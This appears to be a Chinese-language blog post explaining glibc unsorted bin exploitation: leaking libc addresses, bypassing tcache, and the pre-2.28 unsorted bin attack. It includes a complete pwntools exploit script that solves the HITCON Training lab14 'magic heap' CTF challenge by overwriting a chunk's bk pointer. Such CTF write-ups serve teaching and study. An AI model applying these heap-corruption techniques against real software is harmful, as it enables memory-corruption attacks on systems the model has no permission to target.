Loading

Unsorted bin

Pre

关于 unsorted bin 的一些技巧:

  • leak libc_baseunsorted bin 链表头的 bk 和链表尾的 fd 都是指向的 main_arena,而 main_arenalibc 段上,通过 uaf 或者 overflow 的方式泄露其指针进而泄露 libc_base

  • 绕过 tcache 分配 chunkunsorted bin 或者 small bin ,利用 unsorted bin 在仅有一个 chunk 的情况下,分配时可能会对其进行切分的性质,切出所需大小的 chunk 然后分别给其他 bin 或者留在 unsorted bin

... (待补充)

unsorted bin attack

2.28 版本前,对从 unsorted bin 的链表尾拿出 chunk 分配的这一解链操作没有任何检查,然而在 2.28 及以后添加了链表完整性检查:

if (__glibc_unlikely (bck->fd != victim))
    malloc_printerr ("malloc(): corrupted unsorted chunks 3");

unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

在此我们讨论 2.28 版本之前利用 unsorted bin 的攻击手法。

解链后会有这样的操作:

            unsorted_chunks(av)->bk = bck;
            bck->fd = unsorted_chunks(av);

由此我们可以看到 bck->fd 会被赋值为 main_arena 上的一个地址,同时该操作与拿出来的 victim->fd 没有任何关系。

unsorted bin attack 就是通过控制在 unsorted bin 中的 chunkbk 值,实现向某个地址 target 上写入一个极大值。

更进一步,若你能控制 &target->bk->fd 为一个可写地址,则可以直接 alloctarget 地址,若无法控制且该地址是不可写的,则在拿出 target 之后,进行 bck->fd = unsorted_chunks(av); 时会报错。

HITCON Training lab14 magic heap

unsorted bin attack 的模板题

edit 函数存在 overwrite,需要修改 magic 为一个大于 0x1305 一个数来 get flag

利用 overwrite 把一个 unsorted bin chunkbk 覆盖为 magic_addr-0x10,那么下一次在 unsorted bin 中拿 chunk 时,magic_addr 上面就会写上一个 libc 段地址,这显然是大于 0x1305的。

from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
magic_addr = 0x6020C0

def create(size,content):
    io.sendafter(b'Your choice :',b'1')
    io.sendafter(b'Size of Heap :',str(size).encode())
    io.sendafter(b'Content of heap:',content)
    io.recvuntil(b'SuccessFul')
def delete(index):
    io.sendafter(b'Your choice :',b'3')
    io.sendafter(b'Index :',str(index).encode())
    io.recvuntil(b'Done !')
def edit(index,size,content):
    io.sendafter(b'Your choice :',b'2')
    io.sendafter(b'Index :',str(index).encode())
    io.sendafter(b'Size of Heap :',str(size).encode())
    io.sendafter(b'Content of heap :',content)
    io.recvuntil(b'Done !')
def get_flag():
    io.sendafter(b'Your choice :',b'4869')
    io.interactive()
def Exploit():
    create(0x10,b'a')
    create(0x80,b'b')
    create(0x10,b'c')
    delete(1)
    payload = b'a'*0x18+p64(0x91)+b'b'*0x8+p64(magic_addr-0x10)
    edit(0,len(payload)+1,payload)
    create(0x80,b'd')
    get_flag()
if __name__ == '__main__':
    Exploit()
posted @ 2026-03-06 20:35  Regules  阅读(5)  评论(0)    收藏  举报